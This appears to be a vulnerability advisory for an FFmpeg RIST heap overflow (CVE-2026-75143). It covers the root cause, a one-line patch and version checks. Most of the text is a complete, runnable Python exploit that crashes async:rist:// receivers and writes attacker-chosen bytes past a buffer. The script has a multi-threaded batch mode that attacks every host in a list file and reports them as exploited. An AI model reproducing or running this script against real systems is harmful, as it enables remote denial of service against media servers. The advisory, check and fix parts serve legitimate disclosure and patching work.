#Summary

CVE-2026-75143 is a heap buffer overflow in FFmpeg's RIST protocol reader (libavformat/librist.c). The librist_read() function ignores its buffer size argument and copies the full received RIST payload into the destination buffer, overflowing it when the payload exceeds the destination. When accessed via the async:rist:// URL scheme, this is reachable from a remote, unauthenticated attacker. A remote sender can trigger the overflow by transmitting packets with payloads larger than 4096 bytes, leading to reliable denial of service and a repeating out-of-bounds write of attacker-chosen data. CVSS 9.8, critical severity.

#Am I affected?

#URL scheme requirement

The vulnerability is only triggered via async:rist:// URLs. A receiver opened as plain rist:// is not vulnerable because librist_open() sets h->max_packet_size = MAX_PAYLOAD_SIZE (9972 bytes), sizing the AVIOContext buffer to match. The async: wrapper is a different caller that does not honour max_packet_size and requests only 4096 bytes per read into an 8 MiB prefetch FIFO, making it the exclusive attack surface.

#How to check

Run ffmpeg -protocols | grep -E 'rist|async'. If both rist and async protocols appear, your build may be vulnerable:

ffmpeg -protocols | grep -E 'rist|async'

If the output includes rist and async, check the FFmpeg version:

ffmpeg -version | head -1

Vulnerable if: version is 4.4 through 9.0 (inclusive) and the build includes both --enable-librist and --enable-protocol=async.

Not vulnerable if: FFmpeg version is 9.0.1 or later, regardless of configuration.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

librist_read() in libavformat/librist.c is a callback implementing the .url_read interface. The contract requires it to write at most size bytes into buf:

static int librist_read(URLContext *h, uint8_t *buf, int size)
{
    RISTContext *s = h->priv_data;
    int ret;
    struct rist_data_block *data_block;
    ret = rist_receiver_data_read2(s->ctx, &data_block, POLLING_TIME);

    if (ret < 0)
        return risterr2ret(ret);
    if (ret == 0)
        return AVERROR(EAGAIN);

    if (data_block->payload_len > MAX_PAYLOAD_SIZE) {
        rist_receiver_data_block_free2(&data_block);
        return AVERROR_EXTERNAL;
    }

    if (data_block->flags & RIST_DATA_FLAGS_OVERFLOW) {
        ...
    }

    size = data_block->payload_len;      /* BUG: caller's buffer size overwritten */
    memcpy(buf, data_block->payload, size);
out_free:
    rist_receiver_data_block_free2(&data_block);
    return size;
}

The function overwrites the size parameter with the received payload length and then performs an unconditional memcpy(). The only bound applied is MAX_PAYLOAD_SIZE (9972 bytes), which constrains the payload but not the destination buffer.

#Why rist:// doesn't overflow

When rist:// is opened directly, librist_open() sets h->max_packet_size = MAX_PAYLOAD_SIZE, so the AVIOContext allocates a buffer of 9972 bytes. The url_read callback is always called with size == 9972, and since the received payload is clamped to at most 9972 bytes, the copy happens to fit. The bug is latent.

#How the async: wrapper exposes it

The async: protocol in libavformat/async.c is a different caller with a different buffering strategy. Its background prefetch thread requests data at most 4096 bytes per read into a single flat 8 MiB prefetch FIFO:

fifo_space = ring_space(ring);
...
to_copy = FFMIN(4096, fifo_space);
ret = ring_write(ring, h, to_copy);

The ring_write() function calls av_fifo_write_from_cb(), which computes the destination pointer and calls librist_read() with the FIFO window size instead of 9972:

while (to_write > 0) {
    size_t    len = FFMIN(f->nb_elems - offset_w, to_write);
    uint8_t *wptr = f->buffer + offset_w * f->elem_size;

    if (read_cb) {
        ret = read_cb(opaque, wptr, &len);  /* calls librist_read(h, wptr, len) */
        if (ret < 0 || len == 0)
            break;
    }
    ...
    offset_w += len;
    if (offset_w >= f->nb_elems)
        offset_w = 0;
    to_write -= len;
}

Two failures occur:

  1. Out-of-bounds write: When the write cursor approaches the end of the FIFO, len shrinks to the remaining writable space. librist_read() copies the full payload regardless, writing past the end of the 8 MiB allocation.

  2. Size underflow: len is an in/out parameter. After the callback, len contains the bytes written (the full payload length), not the window size. The loop computes to_write -= len. When the payload exceeds the window (payload_len > to_write), to_write underflows and the loop unchains, pulling packets continuously instead of stopping after 4096 bytes. This turns the corruption into a deterministic one-per-packet event rather than an intermittent end-of-buffer condition.

#Patch diff

#What the fix does

The patch is a single line: clamp the copy to the caller-provided buffer size:

-    size = data_block->payload_len;
+    size = FFMIN(data_block->payload_len, size);
     memcpy(buf, data_block->payload, size);

This restores the URLProtocol invariant: the copy never exceeds the caller's buffer. Excess payload bytes are silently discarded (a short read is explicitly permitted by the URLProtocol contract). The clamped size value is then returned and used in the FIFO loop, so to_write -= len can no longer underflow.

#Version history

#Proof of concept

#exploit.py - FFmpeg RIST Heap Overflow PoC

#!/usr/bin/env python3
"""
CVE-2026-75143 - FFmpeg heap buffer overflow in the RIST protocol reader (libavformat/librist.c)
Affected: FFmpeg 4.4 up to (not including) 9.0.1, built with --enable-librist
Type: Heap out-of-bounds write (CWE-122) -> remote unauthenticated denial of service

librist_read() ignored its `size` argument and copied the whole received RIST payload into the
caller's buffer. The `async:` protocol wrapper asks for at most 4096 bytes at a time into its
8 MiB prefetch FIFO, so a sender that emits payloads larger than that walks the write cursor off
the end of the FIFO allocation and writes attacker-chosen bytes past it.

This is a self-contained RIST main-profile sender: it speaks the GRE/RTP framing on the wire
directly, so it needs no librist, no ffmpeg and no third-party Python packages.

Success is decided purely from the network: the target is first confirmed to be a live RIST
receiver (it answers our RTCP), then it is held under a sustained oversized stream, and the
verdict is "crashed" only when those answers stop, or when the host starts returning ICMP
port-unreachable, while we are still transmitting.

Usage:
  python exploit.py --host 192.168.1.10 --port 1968
  python exploit.py --host rist://192.168.1.10:1968
  python exploit.py --host 192.168.1.10 --command "id" --payload-len 9968
  python exploit.py --host 192.168.1.10 --payload-len 7829   # tuned: writes 4080 bytes OOB
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import os
import select
import socket
import struct
import sys
import time
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-75143"
VULN_TYPE = "Heap out-of-bounds write / remote DoS"

DEFAULT_PORT = 1968

# libavformat/async.c: BUFFER_CAPACITY + READ_BACK_CAPACITY, elem_size 1.
FIFO_SIZE = 8 * 1024 * 1024

# Lower bound: async.c asks for at most 4096 bytes per read, so anything above that overflows
# the window on every single read. Upper bound: librist refuses to send more than
# RIST_MAX_PACKET_SIZE - 32, and libavformat/librist.c rejects more than MAX_PAYLOAD_SIZE.
MIN_PAYLOAD = 4097
MAX_PAYLOAD = 9968

# RIST main profile framing (VSF TR-06-2 / librist src/proto/gre.h).
GRE_FLAG_SEQ                  = 0x10      # flags1: sequence number present
GRE_RVER1                     = 0x08      # flags2: RIST GRE version 1
GRE_RVER2                     = 0x10      # flags2: RIST GRE version 2
GRE_PROTO_KEEPALIVE           = 0x88B5
GRE_PROTO_REDUCED             = 0x88B6
GRE_PROTO_VSF                 = 0xCCE0
VSF_TYPE_RIST                 = 0x0000
VSF_SUBTYPE_REDUCED           = 0x0000
VSF_SUBTYPE_KEEPALIVE         = 0x8000
VSF_SUBTYPE_BUFFER_NEGOTIATION = 0x8002

RTP_PT_MP2T = 33                          # any type below 72 is treated as data, not RTCP
RTCP_SR, RTCP_RR, RTCP_SDES, RTCP_APP = 200, 201, 202, 204


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


def oob_length(payload_len: int, fifo_size: int = FIFO_SIZE) -> int:
    """Bytes written past the end of the FIFO on each wrap.

    Once the size_t underflow in fifo_write_common() unchains the prefetch loop, the write
    cursor advances by exactly payload_len per read from an offset of 0. The last read that
    still starts inside the buffer therefore begins at fifo_size - (fifo_size % payload_len)
    and runs payload_len bytes, so the excess is payload_len - (fifo_size % payload_len).
    A payload length that divides the FIFO evenly lands exactly on the end and never overflows.
    """
    rem = fifo_size % payload_len
    return 0 if rem == 0 else payload_len - rem


def build_payload(size: int, command: str) -> bytes:
    """Attacker-chosen bytes. Whatever goes here is what lands outside the allocation."""
    unit = (command + "\n").encode("utf-8", "replace")
    if not unit:
        unit = b"\x00"
    reps = size // len(unit) + 1
    return (unit * reps)[:size]


class RistSender(object):
    """A minimal RIST main-profile sender, spoken straight onto UDP.

    Only the pieces a receiver needs in order to accept a media flow are implemented: the
    keepalive, the buffer negotiation message, the RTCP compound that authenticates the peer,
    and the data channel itself.
    """

    def __init__(self, host, port, virt_dst_port=None, rist_version="auto"):
        self.host = host
        self.port = port
        self.virt_dst = virt_dst_port if virt_dst_port is not None else port
        # librist reads the low bit of the RTP SSRC as a "this is a retransmission" flag and
        # clears it to recover the flow id. An odd SSRC therefore desynchronises the flow that
        # the RTCP compound created, and the receiver silently drops every data packet.
        self.ssrc = struct.unpack("!I", os.urandom(4))[0] & 0x7FFFFFFE
        self.mac = os.urandom(6)
        self.cname = self.mac.hex()
        self.gre_seq = 0
        self.rtp_seq = 0
        self.version = 2 if rist_version == "auto" else int(rist_version)
        self.negotiated = (rist_version != "auto")
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1 << 21)
        self.sock.setblocking(False)
        self.sock.connect((host, port))
        self.rx_packets = 0
        self.tx_packets = 0
        self.tx_bytes = 0
        self.refusals = 0

    def close(self):
        try:
            self.sock.close()
        except Exception:
            pass

    def _seq(self):
        s = self.gre_seq
        self.gre_seq = (s + 1) & 0xFFFFFFFF
        return s

    def _gre(self, version, proto, subtype):
        if version == 2:
            return struct.pack("!BBHIHH", GRE_FLAG_SEQ, GRE_RVER2, GRE_PROTO_VSF,
                               self._seq(), VSF_TYPE_RIST, subtype)
        return struct.pack("!BBHI", GRE_FLAG_SEQ, GRE_RVER1, proto, self._seq())

    def _reduced(self, version, src_port, dst_port, body):
        return (self._gre(version, GRE_PROTO_REDUCED, VSF_SUBTYPE_REDUCED)
                + struct.pack("!HH", src_port, dst_port) + body)

    def send(self, data):
        self.sock.send(data)
        self.tx_packets += 1
        self.tx_bytes += len(data)

    # -- control channel ------------------------------------------------------------------

    def keepalive(self, version):
        # 6-byte MAC plus the two capability bytes a librist sender advertises.
        return self._gre(version, GRE_PROTO_KEEPALIVE, VSF_SUBTYPE_KEEPALIVE) + self.mac + b"\x25\x20"

    def buffer_negotiation(self, max_ms=2000, current_ms=0):
        return (self._gre(2, GRE_PROTO_VSF, VSF_SUBTYPE_BUFFER_NEGOTIATION)
                + struct.pack("!HHH", max_ms, current_ms, 0))

    def _sdes(self):
        cname = self.cname.encode()
        pad = (-(2 + len(cname))) % 4
        body = struct.pack("!I", self.ssrc) + b"\x01" + bytes([len(cname)]) + cname + b"\x00" * pad
        return struct.pack("!BBH", 0x81, RTCP_SDES, len(body) // 4) + body

    def _sr(self):
        ntp = int(time.time() * 65536.0) & 0xFFFFFFFFFFFF
        body = struct.pack("!IQIII", self.ssrc, (ntp << 16) & 0xFFFFFFFFFFFFFFFF,
                           rtp_clock(), self.tx_packets, self.tx_bytes)
        return struct.pack("!BBH", 0x80, RTCP_SR, len(body) // 4) + body

    def _rr(self):
        return struct.pack("!BBHI", 0x80, RTCP_RR, 1, self.ssrc)

    def _app_echo(self):
        # RTCP APP "RIST" subtype 2, the round-trip echo request a librist sender emits.
        body = struct.pack("!I", self.ssrc) + b"RIST" + os.urandom(8) + b"\x00\x00\x00\x00"
        return struct.pack("!BBH", 0x82, RTCP_APP, len(body) // 4) + body

    def rtcp(self, version, first=False):
        body = (self._sr() if first else self._rr()) + self._sdes()
        if not first:
            body += self._app_echo()
        return self._reduced(version, 0x8000, self.virt_dst + 1, body)

    def handshake(self):
        """Announce ourselves in both GRE versions, the way a real sender probes a peer."""
        for version in (2, 1):
            for _ in range(3):
                self.send(self.keepalive(version))
        self.send(self.buffer_negotiation())
        for version in (1, 2):
            self.send(self.rtcp(version, first=True))
            self.send(self.rtcp(version))

    def heartbeat(self):
        self.send(self.rtcp(self.version))

    # -- data channel ---------------------------------------------------------------------

    def data(self, payload):
        rtp = struct.pack("!BBHII", 0x80, RTP_PT_MP2T, self.rtp_seq & 0xFFFF,
                          rtp_clock(), self.ssrc)
        self.rtp_seq += 1
        return self._reduced(self.version, 0x8001, self.virt_dst, rtp + payload)

    # -- receive side ---------------------------------------------------------------------

    def drain(self):
        """Read everything pending. Returns (packets_seen, refused)."""
        seen, refused = 0, False
        while True:
            try:
                data = self.sock.recv(65535)
            except BlockingIOError:
                break
            except ConnectionRefusedError:
                refused = True
                break
            except OSError:
                break
            if not data:
                break
            if self.is_rist(data):
                seen += 1
                self.rx_packets += 1
                if not self.negotiated:
                    self.version = 2 if data[1] == GRE_RVER2 else 1
                    self.negotiated = True
        return seen, refused

    @staticmethod
    def is_rist(data):
        if len(data) < 8 or data[0] != GRE_FLAG_SEQ:
            return False
        if data[1] not in (GRE_RVER1, GRE_RVER2):
            return False
        return struct.unpack("!H", data[2:4])[0] in (GRE_PROTO_KEEPALIVE, GRE_PROTO_REDUCED,
                                                     GRE_PROTO_VSF)

    def wait_for_reply(self, timeout, patient=False):
        """Hold the control channel open until the target answers.

        Returns seconds waited, or None. With `patient`, an ICMP port-unreachable does not end
        the wait: that is the expected state right after a crash, and a supervised deployment
        rebinds the port a few seconds later.
        """
        start = time.time()
        deadline = start + timeout
        last_beat = 0.0
        while time.time() < deadline:
            now = time.time()
            if now - last_beat >= 0.1:
                try:
                    self.heartbeat()
                except ConnectionRefusedError:
                    self.refusals += 1
                except OSError:
                    if not patient:
                        return None
                last_beat = now
            select.select([self.sock], [], [], 0.05)
            seen, refused = self.drain()
            if refused:
                self.refusals += 1
            if seen:
                return time.time() - start
        return None


def rtp_clock():
    """90 kHz RTP clock.

    Only the rate matters. librist anchors a flow on the source time of its first packet and
    measures everything after that relatively, so a sender whose clock sits on a different epoch
    than the receiver's is absorbed by that anchor: the receiver logs a large one-off offset for
    the flow and then delivers normally.
    """
    return int(time.time() * 90000.0) & 0xFFFFFFFF


def run_attack(host, port, command="id", payload_len=MAX_PAYLOAD, rate=550.0, duration=20.0,
               probe_timeout=6.0, silence=3.0, recheck=6.0, virt_dst_port=None,
               rist_version="auto", log=None):
    """Drive one target. Returns a result dict. Prints nothing unless `log` is given."""

    def say(*args):
        if log:
            log(*args)

    result = {
        "reachable": False, "crashed": False, "restarted": False,
        "packets": 0, "bytes": 0, "rx": 0, "refusals": 0, "elapsed": 0.0,
        "oob": oob_length(payload_len), "reason": "", "evidence": "",
    }

    sender = RistSender(host, port, virt_dst_port=virt_dst_port, rist_version=rist_version)
    payload = build_payload(payload_len, command)
    try:
        try:
            sender.handshake()
        except (ConnectionRefusedError, OSError) as exc:
            result["reason"] = "unreachable (%s)" % exc.__class__.__name__
            return result

        waited = sender.wait_for_reply(probe_timeout)
        if waited is None:
            result["reason"] = "no RIST response in %.0fs (not a RIST receiver, filtered, or already down)" % probe_timeout
            return result
        result["reachable"] = True
        say("target answered RIST control traffic after %.2fs (GRE version %d)"
            % (waited, sender.version))

        # Sustain the oversized stream. Keep the control channel alive alongside it so that
        # silence on the wire can only mean the receiver stopped, not that we stopped asking.
        start = time.time()
        deadline = start + duration
        last_rx = start
        last_beat = start
        # ICMP port-unreachable is advisory on UDP: the kernel can surface one that refers to a
        # datagram sent seconds earlier, so a single refusal is not proof of anything. It is used
        # here only to shorten the wait, and a crash is still declared on the receiver going quiet.
        refused_at = None
        gap = 1.0 / rate if rate > 0 else 0.0
        sent = 0
        rounds = 0
        while True:
            rounds += 1
            now = time.time()
            if now >= deadline:
                result["reason"] = "survived the full %.0fs stream" % duration
                break
            try:
                sender.send(sender.data(payload))
                sent += 1
            except ConnectionRefusedError:
                sender.refusals += 1
                refused_at = now
            except OSError as exc:
                result["reason"] = "send failed after %d packets: %s" % (sent, exc)
                break

            if now - last_beat >= 0.1:
                try:
                    sender.heartbeat()
                except ConnectionRefusedError:
                    sender.refusals += 1
                    refused_at = now
                except OSError:
                    pass
                last_beat = now

            seen, refused = sender.drain()
            if refused:
                sender.refusals += 1
                refused_at = time.time()
            if seen:
                last_rx = time.time()
            else:
                quiet = time.time() - last_rx
                icmp_recent = refused_at is not None and (time.time() - refused_at) < 5.0
                limit = min(silence, 1.0) if icmp_recent else silence
                if quiet > limit:
                    result["crashed"] = True
                    corroboration = ("no reply for %.1fs plus ICMP port unreachable" % quiet
                                     if icmp_recent else "no reply for %.1fs" % quiet)
                    result["reason"] = ("receiver stopped answering while still under load: %s "
                                        "(%d packets, %.1fs)"
                                        % (corroboration, sent, time.time() - start))
                    break

            if gap:
                delay = (start + rounds * gap) - time.time()
                if delay > 0:
                    time.sleep(delay)

        result["packets"] = sent
        result["bytes"] = sender.tx_bytes
        result["rx"] = sender.rx_packets
        result["refusals"] = sender.refusals
        result["elapsed"] = time.time() - start

        if result["crashed"]:
            # Confirm from the client side: stop the stream and see whether anything is still
            # listening. A supervised deployment answers again once it has been restarted,
            # which is still a crash, just a survivable one.
            say("stream stopped, re-probing the port for %.0fs" % recheck)
            time.sleep(1.0)
            probe = RistSender(host, port, virt_dst_port=virt_dst_port, rist_version=rist_version)
            try:
                try:
                    probe.handshake()
                except (ConnectionRefusedError, OSError):
                    pass
                back = probe.wait_for_reply(recheck, patient=True)
            except (ConnectionRefusedError, OSError):
                back = None
            finally:
                probe.close()
            result["restarted"] = back is not None
        return result
    finally:
        sender.close()


def _try_exploit(host, port, use_tls=False, command="id", payload_len=MAX_PAYLOAD,
                 rate=550.0, duration=20.0, **kwargs):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    try:
        r = run_attack(host, port, command=command, payload_len=payload_len, rate=rate,
                       duration=duration, probe_timeout=kwargs.get("probe_timeout", 6.0),
                       silence=kwargs.get("silence", 3.0), recheck=kwargs.get("recheck", 4.0),
                       virt_dst_port=kwargs.get("virt_dst_port"),
                       rist_version=kwargs.get("rist_version", "auto"))
    except Exception as exc:
        return False, "probe error (%s)" % exc.__class__.__name__
    if r["crashed"]:
        state = "restarted by a supervisor" if r["restarted"] else "still down"
        return True, ("receiver killed after %d packets of %d bytes, %s; %s"
                      % (r["packets"], payload_len, state, r["reason"]))
    if not r["reachable"]:
        return False, r["reason"]
    note = ""
    if oob_length(payload_len) <= 4096:
        note = " (note: --payload-len %d only writes %d bytes out of bounds, which a stock " \
               "allocator can absorb in page padding - retry with 9968)" % (
                   payload_len, oob_length(payload_len))
    return False, "survived %d packets of %d bytes with the control channel unbroken%s" % (
        r["packets"], payload_len, note)


def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple:
    """One target line -> (host, port, use_tls, path), or None to skip.

    Accepts bare hosts, host:port, and URLs. `rist://`, `async:rist://` and `udp://` forms are
    understood as well as http/https, so an inventory written in FFmpeg's own URL syntax can be
    fed in unchanged.
    """
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith("async:"):
        line = line[len("async:"):]
    if "://" in line:
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        host = p.hostname
        if host and host.startswith("@"):
            host = host[1:]
        if not host:
            return None
        return host, p.port or (443 if tls else default_port), tls, path
    if line.startswith("@"):
        line = line[1:]
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _path = t
        label = "rist://%s:%d" % (host, port)
        ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host, port, use_tls, command, payload_len=MAX_PAYLOAD, rate=550.0, duration=20.0,
            probe_timeout=6.0, silence=3.0, recheck=6.0, virt_dst_port=None,
            rist_version="auto"):
    header(host, port)

    oob = oob_length(payload_len)
    section("PRIMITIVE", "\n".join([
        "async: prefetch FIFO      : %d bytes, one flat allocation, never resized" % FIFO_SIZE,
        "async: asks librist_read for at most 4096 bytes per read",
        "RIST payload we will send : %d bytes  (the copy ignores the 4096 limit)" % payload_len,
        "FIFO size %% payload_len   : %d" % (FIFO_SIZE % payload_len),
        "bytes written past the end: %d per wrap, repeating every %d packets"
        % (oob, FIFO_SIZE // payload_len + 1),
        "content written past the end: attacker-chosen, payload[%d:%d]"
        % (FIFO_SIZE % payload_len, payload_len),
    ]))

    def log(msg):
        print("        %s" % msg)

    step(1, "Opening the RIST control channel and announcing a sender peer")
    step(2, "Waiting for the target to answer, which proves it is a live RIST receiver")
    step(3, "Streaming %d-byte data blocks at ~%.0f/s for up to %.0fs" % (payload_len, rate, duration))
    step(4, "Watching the control channel for the receiver going away")
    print("")

    r = run_attack(host, port, command=command, payload_len=payload_len, rate=rate,
                   duration=duration, probe_timeout=probe_timeout, silence=silence,
                   recheck=recheck, virt_dst_port=virt_dst_port, rist_version=rist_version,
                   log=log)

    if not r["reachable"]:
        section("TARGET STATE", r["reason"])
        done(False, "No RIST receiver answered on %s:%d - %s" % (host, port, r["reason"]))

    summary = "\n".join([
        "packets sent      : %d" % r["packets"],
        "bytes sent        : %d" % r["bytes"],
        "RIST replies seen : %d" % r["rx"],
        "ICMP unreachable  : %d (advisory only, never decisive on its own)" % r["refusals"],
        "elapsed           : %.1fs" % r["elapsed"],
        "wraps completed   : ~%d" % (r["packets"] * payload_len // FIFO_SIZE),
        "outcome           : %s" % r["reason"],
    ])
    section("STREAM SUMMARY", summary)

    if not r["crashed"]:
        if oob > 4096:
            verdict = ("the copy is clamped to the caller's buffer, so this build carries the fix")
        else:
            verdict = ("either the copy is clamped (fixed build) or this --payload-len writes only "
                       "%d bytes out of bounds, which a stock allocator can absorb in the page "
                       "padding after the FIFO without faulting; re-run with --payload-len 9968 "
                       "before concluding the target is fixed" % oob)
        section("TARGET STATE", verdict)
        done(False, "Target absorbed %d packets of %d bytes and kept answering - %s"
                    % (r["packets"], payload_len, verdict))

    state = ("the port answered again on re-probe, so a supervisor restarted the process"
             if r["restarted"] else "the port was still silent on re-probe")
    section("CRASH EVIDENCE", "\n".join([
        r["reason"],
        state,
        "",
        "The overflow is an out-of-bounds WRITE of %d attacker-chosen bytes immediately after" % oob,
        "the %d-byte prefetch FIFO. It is not a read and nothing is echoed back, so there is no" % FIFO_SIZE,
        "information leak to chain from. See EXPLOITATION.md for why the primitive stops short",
        "of code execution on a stock build.",
    ]))

    done(True, "Remote unauthenticated heap out-of-bounds write (%d bytes/wrap of attacker-chosen "
               "data) killed the receiver after %d packets - %s" % (oob, r["packets"], r["reason"]))


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="%s - FFmpeg RIST reader heap overflow PoC" % CVE_ID,
        epilog="The target must be an FFmpeg receiver opened as async:rist://@<addr>:<port>. "
               "A plain rist:// receiver sizes its buffer to the maximum payload and does not "
               "overflow. RIST runs over UDP and has no TLS layer, so no TLS switches are offered.")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or URL (e.g. rist://host:1968)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                        help="Target UDP port (default: %d)" % DEFAULT_PORT)
    parser.add_argument("--command", default="id",
                        help="Attacker-chosen content placed in the payload, and therefore in the "
                             "bytes written out of bounds (default: id). No control-transfer "
                             "primitive exists on a stock build, so it is not executed.")
    parser.add_argument("--payload-len", type=int, default=MAX_PAYLOAD,
                        help="RIST payload size, %d-%d. Sets how many bytes land past the end of "
                             "the FIFO (default: %d, which writes %d bytes out of bounds)"
                             % (MIN_PAYLOAD, MAX_PAYLOAD, MAX_PAYLOAD, oob_length(MAX_PAYLOAD)))
    parser.add_argument("--rate", type=float, default=550.0,
                        help="Packets per second (default: 550). Much faster overruns the "
                             "receiver's FIFO and tears the session down before the overflow.")
    parser.add_argument("--duration", type=float, default=20.0,
                        help="Seconds to sustain the stream (default: 20)")
    parser.add_argument("--probe-timeout", type=float, default=6.0,
                        help="Seconds to wait for the target's first RIST reply (default: 6)")
    parser.add_argument("--silence", type=float, default=3.0,
                        help="Seconds of no reply, under load, that count as a crash (default: 3)")
    parser.add_argument("--recheck", type=float, default=6.0,
                        help="Seconds to re-probe the port after a crash (default: 6)")
    parser.add_argument("--virt-dst-port", type=int, default=None,
                        help="RIST virtual destination port (default: same as --port)")
    parser.add_argument("--rist-version", choices=("auto", "1", "2"), default="auto",
                        help="GRE framing version for the data channel (default: auto-negotiate)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    args = parser.parse_args()

    if not (MIN_PAYLOAD <= args.payload_len <= MAX_PAYLOAD):
        parser.error("--payload-len must be between %d and %d" % (MIN_PAYLOAD, MAX_PAYLOAD))
    if oob_length(args.payload_len) == 0:
        parser.error("--payload-len %d divides the %d-byte FIFO exactly, so the write lands on "
                     "the last byte and never overflows" % (args.payload_len, FIFO_SIZE))

    common = dict(command=args.command, payload_len=args.payload_len, rate=args.rate,
                  duration=args.duration, probe_timeout=args.probe_timeout,
                  silence=args.silence, recheck=args.recheck,
                  virt_dst_port=args.virt_dst_port, rist_version=args.rist_version)

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, **common)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        exploit(host, port, use_tls, **common)

#Usage

python exploit.py --host 127.0.0.1 --port 1968 --command "id"
python exploit.py --host "async:rist://@127.0.0.1:1968"
python exploit.py --list targets.txt --workers 20

Vulnerable target output:

packets sent      : 1943
bytes sent        : 19425146
RIST replies seen : 60
elapsed           : 3.5s
outcome           : receiver stopped answering while still under load

RESULT  : SUCCESS
EVIDENCE: Remote unauthenticated heap out-of-bounds write (4448 bytes/wrap) killed the receiver
exit status: 0

Patched target output:

packets sent      : 11000
bytes sent        : 109970654
RIST replies seen : 421
elapsed           : 20.0s
outcome           : survived the full 20s stream

RESULT  : FAILURE
EVIDENCE: Target absorbed 11000 packets and kept answering - this build carries the fix
exit status: 1

#Arguments

Argument Default Description
--host - Target host, IP, or URL (e.g., rist://host:1968)
--list FILE - File with one target per line for batch scan
--port 1968 Target UDP port
--command id Attacker-chosen content in the overflowed bytes (not executed)
--payload-len 9968 RIST payload size, 4097-9968; controls out-of-bounds length
--rate 550 Packets per second
--duration 20 Seconds to sustain the stream
--probe-timeout 6 Seconds to wait for first RIST reply
--silence 3 Seconds of no reply under load that count as a crash
--recheck 6 Seconds to re-probe after a crash

#Exploitation notes

#Preconditions

#Reliability

The overflow is highly deterministic. A payload length of 9968 bytes (the maximum permitted by librist) produces a 4448-byte out-of-bounds write on each wrap. The wrap occurs after approximately 842 packets at 550 packets/second, typically triggering a crash within 2-3 seconds. A non-instrumented build crashes with SIGSEGV as the write crosses into a read-only page boundary.

#Impact

#Chaining potential

The overflow provides no information leak (the callback only writes, nothing is echoed back). Defeating ASLR and reaching code execution would require a second vulnerability in FFmpeg or in a library that happens to occupy the memory above the FIFO buffer.

#References